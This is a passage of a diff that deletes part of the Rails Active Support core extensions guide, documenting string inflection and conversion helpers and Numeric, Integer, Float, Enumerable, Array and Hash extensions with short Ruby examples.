-As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +classify+
-
-The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
-
-<ruby>
-"people".classify # => "Person"
-"invoices".classify # => "Invoice"
-"invoice_lines".classify # => "InvoiceLine"
-</ruby>
-
-The method understands qualified table names:
-
-<ruby>
-"highrise_production.companies".classify # => "Company"
-</ruby>
-
-Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next.
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +constantize+
-
-The method +constantize+ resolves the constant reference expression in its receiver:
-
-<ruby>
-"Fixnum".constantize # => Fixnum
-
-module M
- X = 1
-end
-"M::X".constantize # => 1
-</ruby>
-
-If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+.
-
-Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::".
-
-<ruby>
-X = :in_Object
-module M
- X = :in_M
-
- X # => :in_M
- "::X".constantize # => :in_Object
- "X".constantize # => :in_Object (!)
-end
-</ruby>
-
-So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
-
-Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+:
-
-<ruby>
-# action_mailer/test_case.rb
-def determine_default_mailer(name)
- name.sub(/Test$/, '').constantize
-rescue NameError => e
- raise NonInferrableMailerError.new(name)
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +humanize+
-
-The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
-
-<ruby>
-"name".humanize # => "Name"
-"author_id".humanize # => "Author"
-"comments_count".humanize # => "Comments count"
-</ruby>
-
-The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names:
-
-<ruby>
-def full_messages
- full_messages = []
-
- each do |attribute, messages|
- ...
- attr_name = attribute.to_s.gsub('.', '_').humanize
- attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
- ...
- end
-
- full_messages
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h5. +foreign_key+
-
-The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
-
-<ruby>
-"User".foreign_key # => "user_id"
-"InvoiceLine".foreign_key # => "invoice_line_id"
-"Admin::Session".foreign_key # => "session_id"
-</ruby>
-
-Pass a false argument if you do not want the underscore in "_id":
-
-<ruby>
-"User".foreign_key(false) # => "userid"
-</ruby>
-
-Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this:
-
-<ruby>
-# active_record/associations.rb
-foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-
-h4(#string-conversions). Conversions
-
-h5. +ord+
-
-Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8:
-
-<ruby>
-"a".ord # => 97
-"à".ord # => 224, in ISO-8859-1
-</ruby>
-
-In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte support in Active Support for that:
-
-<ruby>
-"a".mb_chars.ord # => 97
-"à".mb_chars.ord # => 224, in UTF8
-</ruby>
-
-Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.
-
-INFO: +ord+ is equivalent to +getbyte(0)+.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h5. +getbyte+
-
-Active Support backports +getbyte+ from Ruby 1.9:
-
-<ruby>
-"foo".getbyte(0) # => 102, same as "foo".ord
-"foo".getbyte(1) # => 111
-"foo".getbyte(9) # => nil
-"foo".getbyte(-1) # => 111
-</ruby>
-
-INFO: +getbyte+ is equivalent to +[]+.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h5. +to_date+, +to_time+, +to_datetime+
-
-The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
-
-<ruby>
-"2010-07-27".to_date # => Tue, 27 Jul 2010
-"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010
-"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
-</ruby>
-
-+to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in:
-
-<ruby>
-"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010
-"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
-</ruby>
-
-Default is +:utc+.
-
-Please refer to the documentation of +Date._parse+ for further details.
-
-INFO: The three of them return +nil+ for blank receivers.
-
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-
-h3. Extensions to +Numeric+
-
-h4. Bytes
-
-All numbers respond to these methods:
-
-<ruby>
-bytes
-kilobytes
-megabytes
-gigabytes
-terabytes
-petabytes
-exabytes
-</ruby>
-
-They return the corresponding amount of bytes, using a conversion factor of 1024:
-
-<ruby>
-2.kilobytes # => 2048
-3.megabytes # => 3145728
-3.5.gigabytes # => 3758096384
--4.exabytes # => -4611686018427387904
-</ruby>
-
-Singular forms are aliased so you are able to say:
-
-<ruby>
-1.megabyte # => 1048576
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
-
-h3. Extensions to +Integer+
-
-h4. +multiple_of?+
-
-The method +multiple_of?+ tests whether an integer is multiple of the argument:
-
-<ruby>
-2.multiple_of?(1) # => true
-1.multiple_of?(2) # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
-
-h4. +ordinalize+
-
-The method +ordinalize+ returns the ordinal string corresponding to the receiver integer:
-
-<ruby>
-1.ordinalize # => "1st"
-2.ordinalize # => "2nd"
-53.ordinalize # => "53rd"
-2009.ordinalize # => "2009th"
--21.ordinalize # => "-21st"
--134.ordinalize # => "-134th"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
-
-h3. Extensions to +Float+
-
-h4. +round+
-
-The built-in method +Float#round+ rounds a float to the nearest integer. In Ruby 1.9 this method takes an optional argument to let you specify a precision. Active Support adds that functionality to +round+ in previous versions of Ruby:
-
-<ruby>
-Math::E.round(4) # => 2.7183
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/float/rounding.rb+.
-
-h3. Extensions to +BigDecimal+
-
-...
-
-h3. Extensions to +Enumerable+
-
-h4. +group_by+
-
-Active Support redefines +group_by+ in Ruby 1.8.7 so that it returns an ordered hash as in 1.9:
-
-<ruby>
-entries_by_surname_initial = address_book.group_by do |entry|
- entry.surname.at(0).upcase
-end
-</ruby>
-
-Distinct block return values are added to the hash as they come, so that's the resulting order.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +sum+
-
-The method +sum+ adds the elements of an enumerable:
-
-<ruby>
-[1, 2, 3].sum # => 6
-(1..100).sum # => 5050
-</ruby>
-
-Addition only assumes the elements respond to <tt>+</tt>:
-
-<ruby>
-[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
-%w(foo bar baz).sum # => "foobarbaz"
-{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
-</ruby>
-
-The sum of an empty collection is zero by default, but this is customizable:
-
-<ruby>
-[].sum # => 0
-[].sum(1) # => 1
-</ruby>
-
-If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
-
-<ruby>
-(1..5).sum {|n| n * 2 } # => 30
-[2, 4, 6, 8, 10].sum # => 30
-</ruby>
-
-The sum of an empty receiver can be customized in this form as well:
-
-<ruby>
-[].sum(1) {|n| n**3} # => 1
-</ruby>
-
-The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
-
-<ruby>
-def observed_subclasses
- observed_classes.sum([]) { |klass| klass.send(:subclasses) }
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +each_with_object+
-
-The +inject+ method offers iteration with an accumulator:
-
-<ruby>
-[2, 3, 4].inject(1) {|product, i| product*i } # => 24
-</ruby>
-
-The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome:
-
-<ruby>
-[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4}
-</ruby>
-
-See that spurious "+; h+"?
-
-Active Support backports +each_with_object+ from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way:
-
-<ruby>
-[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4}
-</ruby>
-
-WARNING. Note that the item of the collection and the accumulator come in different order in +inject+ and +each_with_object+.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +index_by+
-
-The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
-
-It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
-
-<ruby>
-invoices.index_by(&:number)
-# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
-</ruby>
-
-WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +many?+
-
-The method +many?+ is shorthand for +collection.size > 1+:
-
-<erb>
-<% if pages.many? %>
- <%= pagination_links %>
-<% end %>
-</erb>
-
-If an optional block is given, +many?+ only takes into account those elements that return true:
-
-<ruby>
-@see_more = videos.many? {|video| video.category == params[:category]}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h4. +exclude?+
-
-The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
-
-<ruby>
-to_visit << node if visited.exclude?(node)
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-
-h3. Extensions to +Array+
-
-h4. Accessing
-
-Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
-
-<ruby>
-%w(a b c d).to(2) # => %w(a b c)
-[].to(7) # => []
-</ruby>
-
-Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
-
-<ruby>
-%w(a b c d).from(2) # => %w(c d)
-%w(a b c d).from(10) # => []
-[].from(0) # => []
-</ruby>
-
-The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
-
-<ruby>
-%w(a b c d).third # => c
-%w(a b c d).fifth # => nil
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/access.rb+.
-
-h4. Random Access
-
-Active Support backports +sample+ from Ruby 1.9:
-
-<ruby>
-shape_type = [Circle, Square, Triangle].sample
-# => Square, for example
-
-shape_types = [Circle, Square, Triangle].sample(2)
-# => [Triangle, Circle], for example
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/random_access.rb+.
-
-h4. Adding Elements
-
-h5. +prepend+
-
-This method is an alias of <tt>Array#unshift</tt>.
-
-<ruby>
-%w(a b c d).prepend('e') # => %w(e a b c d)
-[].prepend(10) # => [10]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-
-h5. +append+
-
-This method is an alias of <tt>Array#<<</tt>.
-
-<ruby>
-%w(a b c d).append('e') # => %w(a b c d e)
-[].append([1,2]) # => [[1,2]]
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-
-h4. Options Extraction
-
-When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
-
-<ruby>
-User.exists?(:email => params[:email])
-</ruby>
-
-That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
-
-If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
-
-In those cases, you may give an options hash a distinguished treatment with +extract_options!+. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
-
-Let's see for example the definition of the +caches_action+ controller macro:
-
-<ruby>
-def caches_action(*actions)
- return unless cache_configured?
- options = actions.extract_options!
- ...
-end
-</ruby>
-
-This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
-
-NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
-
-h4(#array-conversions). Conversions
-
-h5. +to_sentence+
-
-The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
-
-<ruby>
-%w().to_sentence # => ""
-%w(Earth).to_sentence # => "Earth"
-%w(Earth Wind).to_sentence # => "Earth and Wind"
-%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
-</ruby>
-
-This method accepts three options:
-
-* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ".
-* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
-* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
-
-The defaults for these options can be localised, their keys are:
-
-|_. Option |_. I18n key |
-| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> |
-| <tt>:words_connector</tt> | <tt>support.array.words_connector</tt> |
-| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> |
-
-Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h5. +to_formatted_s+
-
-The method +to_formatted_s+ acts like +to_s+ by default.
-
-If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs, though technically any object in Ruby 1.8 responds to +id+ indeed. Returned strings are:
-
-<ruby>
-[].to_formatted_s(:db) # => "null"
-[user].to_formatted_s(:db) # => "8456"
-invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
-</ruby>
-
-Integers in the example above are supposed to come from the respective calls to +id+.
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h5. +to_xml+
-
-The method +to_xml+ returns a string containing an XML representation of its receiver:
-
-<ruby>
-Contributor.limit(2).order(:rank).to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <contributors type="array">
-# <contributor>
-# <id type="integer">4356</id>
-# <name>Jeremy Kemper</name>
-# <rank type="integer">1</rank>
-# <url-id>jeremy-kemper</url-id>
-# </contributor>
-# <contributor>
-# <id type="integer">4404</id>
-# <name>David Heinemeier Hansson</name>
-# <rank type="integer">2</rank>
-# <url-id>david-heinemeier-hansson</url-id>
-# </contributor>
-# </contributors>
-</ruby>
-
-To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
-
-By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors".
-
-If there's any element that does not belong to the type of the first one the root node becomes "records":
-
-<ruby>
-[Contributor.first, Commit.first].to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <records type="array">
-# <record>
-# <id type="integer">4583</id>
-# <name>Aaron Batalion</name>
-# <rank type="integer">53</rank>
-# <url-id>aaron-batalion</url-id>
-# </record>
-# <record>
-# <author>Joshua Peek</author>
-# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
-# <branch>origin/master</branch>
-# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
-# <committer>Joshua Peek</committer>
-# <git-show nil="true"></git-show>
-# <id type="integer">190316</id>
-# <imported-from-svn type="boolean">false</imported-from-svn>
-# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
-# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
-# </record>
-# </records>
-</ruby>
-
-If the receiver is an array of hashes the root element is by default also "records":
-
-<ruby>
-[{:a => 1, :b => 2}, {:c => 3}].to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <records type="array">
-# <record>
-# <b type="integer">2</b>
-# <a type="integer">1</a>
-# </record>
-# <record>
-# <c type="integer">3</c>
-# </record>
-# </records>
-</ruby>
-
-WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
-
-The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "record". The option <tt>:children</tt> allows you to set these node names.
-
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
-
-<ruby>
-Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <contributors>
-# <contributor>
-# <id>4356</id>
-# <name>Jeremy Kemper</name>
-# <rank>1</rank>
-# <url-id>jeremy-kemper</url-id>
-# </contributor>
-# <contributor>
-# <id>4404</id>
-# <name>David Heinemeier Hansson</name>
-# <rank>2</rank>
-# <url-id>david-heinemeier-hansson</url-id>
-# </contributor>
-# </contributors>
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h4. Wrapping
-
-The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like).
-
-Specifically:
-
-* If the argument is +nil+ an empty list is returned.
-* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned.
-* Otherwise, an array with the argument as its single element is returned.
-
-<ruby>
-Array.wrap(nil) # => []
-Array.wrap([1, 2, 3]) # => [1, 2, 3]
-Array.wrap(0) # => [0]
-</ruby>
-
-This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
-
-* If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns +nil+ right away.
-* If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
-* It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
-
-The last point is particularly worth comparing for some enumerables:
-
-<ruby>
-Array.wrap(:foo => :bar) # => [{:foo => :bar}]
-Array(:foo => :bar) # => [[:foo, :bar]]
-
-Array.wrap("foo\nbar") # => ["foo\nbar"]
-Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8
-</ruby>
-
-There's also a related idiom that uses the splat operator:
-
-<ruby>
-[*object]
-</ruby>
-
-which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
-
-Thus, in this case the behavior is different for +nil+, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of +object+s.
-
-NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
-
-h4. Grouping
-
-h5. +in_groups_of(number, fill_with = nil)+
-
-The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
-
-<ruby>
-[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
-
-<ruby>
-<% sample.in_groups_of(3) do |a, b, c| %>
- <tr>
- <td><%=h a %></td>
- <td><%=h b %></td>
- <td><%=h c %></td>
- </tr>
-<% end %>
-</ruby>
-
-The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
-</ruby>
-
-And you can tell the method not to fill the last group passing +false+:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h5. +in_groups(number, fill_with = nil)+
-
-The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3)
-# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
-["1", "2", "3"]
-["4", "5", nil]
-["6", "7", nil]
-</ruby>
-
-The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
-
-You can change this padding value using the second optional argument:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, "0")
-# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
-</ruby>
-
-And you can tell the method not to fill the smaller groups passing +false+:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, false)
-# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h5. +split(value = nil)+
-
-The method +split+ divides an array by a separator and returns the resulting chunks.
-
-If a block is passed the separators are those elements of the array for which the block returns true:
-
-<ruby>
-(-5..5).to_a.split { |i| i.multiple_of?(4) }
-# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
-</ruby>
-
-Otherwise, the value received as argument, which defaults to +nil+, is the separator:
-
-<ruby>
-[0, 1, -5, 1, 1, "foo", "bar"].split(1)
-# => [[0], [-5], [], ["foo", "bar"]]
-</ruby>
-
-TIP: Observe in the previous example that consecutive separators result in empty arrays.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h3. Extensions to +Hash+
-
-h4(#hash-conversions). Conversions
-
-h5(#hash-to-xml). +to_xml+
-
-The method +to_xml+ returns a string containing an XML representation of its receiver:
-
-<ruby>
-{"foo" => 1, "bar" => 2}.to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <hash>
-# <foo type="integer">1</foo>
-# <bar type="integer">2</bar>
-# </hash>
-</ruby>
-
-To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
-
-* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
-
-* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>.
-
-* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node.
-
-* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
-
-* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
-<ruby>
-XML_TYPE_NAMES = {
- "Symbol" => "symbol",
- "Fixnum" => "integer",
- "Bignum" => "integer",
- "BigDecimal" => "decimal",
- "Float" => "float",
- "TrueClass" => "boolean",
- "FalseClass" => "boolean",
- "Date" => "date",
- "DateTime" => "datetime",
- "Time" => "datetime"
-}
-</ruby>
-
-By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
-
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
-
-NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
-
-h4. Merging
-
-Ruby has a built-in method +Hash#merge+ that merges two hashes:
-
-<ruby>
-{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
-# => {:a => 0, :b => 1, :c => 2}
-</ruby>
-
-Active Support defines a few more ways of merging hashes that may be convenient.
-
-h5. +reverse_merge+ and +reverse_merge!+
-
-In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
-
-<ruby>
-options = {:length => 30, :omission => "..."}.merge(options)
-</ruby>
-
-Active Support defines +reverse_merge+ in case you prefer this alternative notation:
-
-<ruby>
-options = options.reverse_merge(:length => 30, :omission => "...")
-</ruby>
-
-And a bang version +reverse_merge!+ that performs the merge in place:
-
-<ruby>
-options.reverse_merge!(:length => 30, :omission => "...")
-</ruby>
-
-WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
-
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-
-h5. +reverse_update+
-
-The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
-
-WARNING. Note that +reverse_update+ has no bang.
-
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-
-h5. +deep_merge+ and +deep_merge!+
-
-As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
-
-Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
-
-<ruby>
-{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
-# => {:a => {:b => 1, :c => 2}}
-</ruby>
-
-The method +deep_merge!+ performs a deep merge in place.
-
-NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
-
-h4. Diffing
-
-The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
-
-* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash.
-
-* If both hashes have +key+, but with different values, the pair in the receiver wins.
-
-* The rest is just merged.
-
-<ruby>
-{:a => 1}.diff(:a => 1)
-# => {}, first rule
-
-{:a => 1}.diff(:a => 2)
-# => {:a => 1}, second rule
-
-{:a => 1}.diff(:b => 2)
-# => {:a => 1, :b => 2}, third rule
-
-{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4)
-# => {:a => 1, :b => 2, :d => 4}, all rules
-
-{}.diff({}) # => {}
-{:a => 1}.diff({}) # => {:a => 1}
-{}.diff(:a => 1) # => {:a => 1}
-</ruby>
-
-An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
-
-<ruby>
-hash.diff(hash2).diff(hash2) == hash
-</ruby>
-
-Diffing hashes may be useful for error messages related to expected option hashes for example.
-
-NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
-
-h4. Working with Keys
-
-h5. +except+ and +except!+
-
-The method +except+ returns a hash with the keys in the argument list removed, if present:
-
-<ruby>
-{:a => 1, :b => 2}.except(:a) # => {:b => 2}
-</ruby>
-
-If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
-
-<ruby>
-{:a => 1}.with_indifferent_access.except(:a) # => {}
-{:a => 1}.with_indifferent_access.except("a") # => {}
-</ruby>
-
-The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
-
-<ruby>
-params[:account] = params[:account].except(:plan_id) unless admin?
-@account.update_attributes(params[:account])
-</ruby>
-
-There's also the bang variant +except!+ that removes keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/except.rb+.
-
-h5. +stringify_keys+ and +stringify_keys!+
-
-The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
-
-<ruby>
-{nil => nil, 1 => 1, :a => :a}.stringify_keys
-# => {"" => nil, "a" => :a, "1" => 1}
-</ruby>
-
-The result in case of collision is undefined:
-
-<ruby>
-{"a" => 1, :a => 2}.stringify_keys
-# => {"a" => 2}, in my test, can't rely on this result though
-</ruby>
-
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
-
-<ruby>
-def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
- options = options.stringify_keys
- options["type"] = "checkbox"
- ...
-end
-</ruby>
-
-The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
-
-There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +symbolize_keys+ and +symbolize_keys!+
-
-The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
-
-<ruby>
-{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
-# => {1 => 1, nil => nil, :a => "a"}
-</ruby>
-
-WARNING. Note in the previous example only one key was symbolized.
-
-The result in case of collision is undefined:
-
-<ruby>
-{"a" => 1, :a => 2}.symbolize_keys
-# => {:a => 2}, in my test, can't rely on this result though
-</ruby>
-
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
-
-<ruby>
-def rewrite_path(options)
- options = options.symbolize_keys
- options.update(options[:params].symbolize_keys) if options[:params]
- ...
-end
-</ruby>
-
-The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
-
-There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +to_options+ and +to_options!+
-
